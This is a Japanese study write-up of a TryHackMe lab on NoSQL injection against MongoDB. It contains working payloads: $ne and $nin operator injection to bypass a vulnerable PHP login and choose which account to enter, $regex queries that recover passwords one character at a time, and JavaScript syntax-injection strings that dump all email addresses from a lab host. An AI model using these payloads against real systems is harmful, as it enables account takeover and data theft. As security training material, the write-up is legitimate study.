コースURL : https://tryhackme.com/room/nosqlinjectiontutorial
NoSQLとは
ざっくり
- 有名なのだと、MongoDBとか、Firebaseとかかな
- キーとペアで、jsonみたいな感じで、保存できるよね
こんな感じで保存されるよね
{"_id" : ObjectId("5f077332de2cdf808d26cd74"), "username" : "lphillips", "first_name" : "Logan", "last_name" : "Phillips", "age" : "65", "email" : "lphillips@example.com" }
- コレクションとドキュメントの関係性あるよね
- 親子
- 基本的には、フォルダ(コレクション)とファイル(ドキュメント)の関係だよね
クエリ
- こんな感じで、ドキュメントがあったときに、
引用 : https://tryhackme-images.s3.amazonaws.com/user-uploads/6093e17fa004d20049b6933e/room-content/6093e17fa004d20049b6933e-1719679617512.png
last_nameが「Sandler」のドキュメントを取得したい場合
- 2番目のドキュメントが取得できる
['last_name' => 'Sandler']
genderが「male」で、last_nameが「Phillips」のドキュメントを取得したい場合
- 1番目のドキュメントが取得できる
['gender' => 'male', 'last_name' => 'Phillips']
ageが50未満のすべてのドキュメントを取得したい場合
- 2つ目のドキュメントと3つ目のドキュメントを取得できる
['age' => ['$lt' => '50']]
- ネストされた配列で
$lt
演算子(「より小さい」)を使用する- この演算子を使えば、条件をネストすることでより複雑なフィルターが可能
MongoDBでのクエリとオペレーター
NoSQL Injection
- インジェクション攻撃の本質まで掘り下げると、SQLインジェクションとNoSQLインジェクションの類似性が見えてくる
- SQLインジェクションは、シングルクォートやダブルクォートを注入してデータ結合を打ち切り、クエリを改変するのが典型的な手法
- NoSQLインジェクションも基本的には同様だけど、文法から「脱出」できなくても、クエリ自体の構造を操作することで攻撃を成立させることができる
構文インジェクション(Syntax Injection)
- SQLインジェクションに似ている、クエリから脱出して独自のペイロードを注入できる
- SQLと異なり、注入に使う構文が異なる点がポイント
オペレーターインジェクション
- クエリから脱出できなくても、NoSQLの演算子を注入することでクエリの挙動を操作する
- たとえば認証バイパスなどの攻撃が可能になる
オペレーターインジェクション
ログインバイパス
-
SQLインジェクションのように単なる文字列結合でクエリが作られるわけではなく、NoSQLではネストされた連想配列が使われる
ログインページの例 -
WebアプリケーションはMongoDBに対し、myapp データベースの login コレクションに、フィルター
['username'=>$user, 'password'=>$pass]
を使ってクエリを投げる -
ここで $user と $pass はHTTPのPOSTパラメータから直接取得されている
<?php
$con = new MongoDB\Driver\Manager("mongodb://localhost:27017");
if(isset($_POST) && isset($_POST['user']) && isset($_POST['pass'])){
$user = $_POST['user'];
$pass = $_POST['pass'];
$q = new MongoDB\Driver\Query(['username'=>$user, 'password'=>$pass]);
$record = $con->executeQuery('myapp.login', $q );
$record = iterator_to_array($record);
if(sizeof($record)>0){
$usr = $record[0];
session_start();
$_SESSION['loggedin'] = true;
$_SESSION['uid'] = $usr->username;
header('Location: /sekr3tPl4ce.php');
die();
}
}
header('Location: /?err=1');
?>
これを逆手に取って、次のような配列を $user と $pass に渡す例
$user = ['$ne'=>'xxxx']
$pass = ['$ne'=>'yyyy']
すると、こうなる
- これはつまり、「ユーザー名が ‘xxxx’ でなく、かつパスワードが ‘yyyy’ でないすべてのドキュメント」を返せという意味になる
- 結果として、ログインコレクション内の全ドキュメントが返され、そのうち最初の1件に対してログインが成功したかのように扱われる
['username'=>['$ne'=>'xxxx'], 'password'=>['$ne'=>'yyyy']]
POSTリクエストの中でどうやって配列を送るのか
- PHPや多くの他の言語では、POSTリクエストボディに次のような構文を使うことで、配列を送ることができる
user[$ne]=xxxx&pass[$ne]=yyyy
- この構文を使えば、ユーザーとパスワードの代わりに配列を送ることができ、MongoDBクエリに演算子を注入できる
こんな感じのwebログインのときに
こんな感じで、オペレーターインジェクションする
user[$ne]=適当な文字&pass[$ne]=aaaa
- ユーザーネームが、asdf以外、パスワードがaaaa以外の全てのユーザーをクエリしていることになる
- ログインのphpは、ユーザーとパスワードがあってるユーザーが一つ以上あればログインを通してしまう
- なのでログインが通ってしまう
他のユーザーとしてログイン
- アプリケーションのログイン画面をバイパスすることに成功しましたが、データベースから返された最初のユーザーにしかログインできないという制限があった
$nin
演算子を使うことで、どのユーザーでログインするかをコントロールできるようにする- $nin は、「指定した値のリストに含まれていないもの」を条件にする演算子
- つまり、「admin 以外のすべてのユーザー」といった条件を作成することができる
例
以下のようなリクエストは、
user[$nin]=admin&pass[$ne]=aweasdf
こんなクエリ構造に変換される
- 「ユーザー名が admin ではなく、パスワードが aweasdf ではないすべてのユーザーを取得せよ」と言う意味になる
- つまり、admin以外のユーザーのアカウントにログインできる
['username' => ['$nin' => ['admin']], 'password' => ['$ne' => 'aweasdf']]
$nin に複数の値を指定する
- $nin は無視したい値のリストを受け取る
- たとえば、次のようにリクエストを拡張することができる
user[$nin][]=admin&user[$nin][]=jude&pass[$ne]=aweasdf
このクエリは、ユーザ名が、adminでもなく、judeでもなく、passwordが、aweasdfでもないアカウントってこと?
ここからどうやって絞り込んでくの?
- ログイン後の画面(セッションや表示)でユーザー名を確認することで絞り込んでいく
- 具体的な手順
- ログイン後の画面(セッションや表示)でユーザー名を確認する
- 次のリクエストで jude を $nin に追加する
- 今度は admin でも jude でもない別のユーザーでログインを試みる
- またログイン成功したら、そのユーザー名を記録して
nin` リストを増やしながら、既知のユーザーを除外して、合計で何人いるのか(全員のユーザー)を確認できる
['username' => ['$nin' => ['admin', 'jude']], 'password' => ['$ne' => 'aweasdf']]
password[$ne]=dummy
の「dummy」部分は何でもよいが、実際に使われていないと確信できる文字列にすべき
パスワードの抽出
- ユーザー名を全て洗い出せたので、全てのアカウントにアクセスできる状態
- また、パスワードを知ることは、パスワードを使い回していることがあるので、調べることは重要
$regex
演算子を悪用し、サーバーに一連の質問を投げかけることで、ハングマンゲームのような方法でパスワードを復元できる
adminのパスワードの長さを推測してみる
このペイロードを使用できる
- データベースにユーザー名が「admin」で、パスワードが正規表現に一致するユーザーが存在するかどうかを問い合わせている
^.{7}$
: 任意の文字で7文字を表している
user=admin&pass[$regex]=^.{7}$
しかし、サーバーがエラーを返すので、adminのパスワードは7文字で無いことがわかる
何回か、パスワードの正規表現を変更して試行錯誤することで、adminのパスワードの文字数がわかる
パスワードの文字数がわかったら、以下のペイロードを変更する
^c....$
: cから始まる4文字を表している
user=admin&pass[$regex]=^c....$
これをおんなじ手順で繰り返すことで、パスワードを判明させる
繰り返すときは、ResponseのLocationを見る
正解の時
誤っている時
構文インジェクション
検出
- 一般的なSQLインジェクションと同様に、
'
(シングルクオート)を注入することで、インジェクションのテストをする
以下のようなエラーが表示されるとき、構文的なインジェクションの存在がわかる
syntax@10.10.102.74's password:
Please provide the username to receive their email:admin'
Traceback (most recent call last):
File "/home/syntax/script.py", line 17, in <module>
for x in mycol.find({"$where": "this.username == '" + username + "'"}):
File "/usr/local/lib/python3.6/dist-packages/pymongo/cursor.py", line 1248, in next
if len(self.__data) or self._refresh():
File "/usr/local/lib/python3.6/dist-packages/pymongo/cursor.py", line 1165, in _refresh
self.__send_message(q)
File "/usr/local/lib/python3.6/dist-packages/pymongo/cursor.py", line 1053, in __send_message
operation, self._unpack_response, address=self.__address
File "/usr/local/lib/python3.6/dist-packages/pymongo/mongo_client.py", line 1272, in _run_operation
retryable=isinstance(operation, message._Query),
File "/usr/local/lib/python3.6/dist-packages/pymongo/mongo_client.py", line 1371, in _retryable_read
return func(session, server, sock_info, read_pref)
File "/usr/local/lib/python3.6/dist-packages/pymongo/mongo_client.py", line 1264, in _cmd
sock_info, operation, read_preference, self._event_listeners, unpack_res
File "/usr/local/lib/python3.6/dist-packages/pymongo/server.py", line 134, in run_operation
_check_command_response(first, sock_info.max_wire_version)
File "/usr/local/lib/python3.6/dist-packages/pymongo/helpers.py", line 180, in _check_command_response
raise OperationFailure(errmsg, code, response, max_wire_version)
pymongo.errors.OperationFailure: Failed to call method, full error: {'ok': 0.0, 'errmsg': 'Failed to call method', 'code': 1, 'codeName': 'InternalError'}
Connection to 10.10.102.74 closed.
エラー メッセージの次の行は、構文インジェクションがあることを示している
-
username 変数がクエリ文字列に直接連結され、find コマンド内で JavaScript 関数が実行されていることがわかる
for x in mycol.find({"$where": "this.username == '" + username + "'"}):
-
詳細なエラーメッセージがなくても、以下の例に示すように、偽と真の両方の条件を指定して出力が異なることを確認することで、構文インジェクションをテストできる
ssh syntax@10.10.102.74
syntax@10.10.102.74's password:
Please provide the username to receive their email:admin' && 0 && 'x
Connection to 10.10.102.74 closed.
ssh syntax@10.10.102.74
syntax@10.10.102.74's password:
Please provide the username to receive their email:admin' && 1 && 'x
admin@nosql.int
Connection to 10.10.102.74 closed.
悪用
- 構文インジェクションを確認できたので、利用してすべてのメールアドレスをダンプできる
- そのためには、条件のテスト文が常にtrueと評価されるようにする必要がある
- JavaScriptにインジェクションするため、
'||1||'
ペイロードとして使用できる
ssh syntax@10.10.102.74
syntax@10.10.102.74's password:
Please provide the username to receive their email:admin'||1||'
admin@nosql.int
pcollins@nosql.int
jsmith@nosql.int
[...]
Connection to 10.10.102.74 closed.
例外
- 構文インジェクションが発生するには、開発者がカスタムJavaScriptクエリを作成する必要があることに注意する
- 組み込みのフィルター関数を使用して同じ関数を実行すると、
['username' : username]
同じ結果が返されますが、インジェクションの脆弱性はない